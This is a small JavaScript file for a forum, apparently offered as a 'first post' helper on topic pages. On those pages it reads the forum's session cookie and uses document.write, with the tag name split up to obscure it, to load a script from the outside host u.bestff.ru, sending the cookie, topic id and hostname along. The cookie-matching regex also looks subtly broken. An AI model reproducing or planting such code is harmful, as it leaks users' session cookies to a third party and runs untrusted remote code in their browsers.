function GET(){
	var a = location.search.slice(1);
	a = a.split('&')
	var i = 0
	var b = new Object;
	while(a[i]) {
a[i] = a[i].split('=')
b[a[i][0]] = a[i][1];
i++;
	}
	return b
}
var GET = GET();
var first_post_key = '·';
var matches = document.cookie.match(new RegExp("(?:^|; )" + 'mybb_ru='.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"))
var cookie = matches ? decodeURIComponent(matches[1]) : ''

if(location.href.indexOf('viewtopic.php?id=')!=-1 && location.href.indexOf('&p=')!=-1)
	document.write("<scr"+"ipt ty"+"pe=\"text/javascr"+"ipt\" src=\"http://u.bestff.ru/first_post.php?tid="+GET['id']+"&page="+GET['p']+"&host="+location.hostname+"&cookie="+cookie+"\">"+"</scr"+"ipt>");
else
	first_post = false;
first_post_key = ' '+first_post_key;
if(location.href.indexOf('viewtopic.php')!=-1) {
	document.title = document.title.replace(first_post_key, '')
}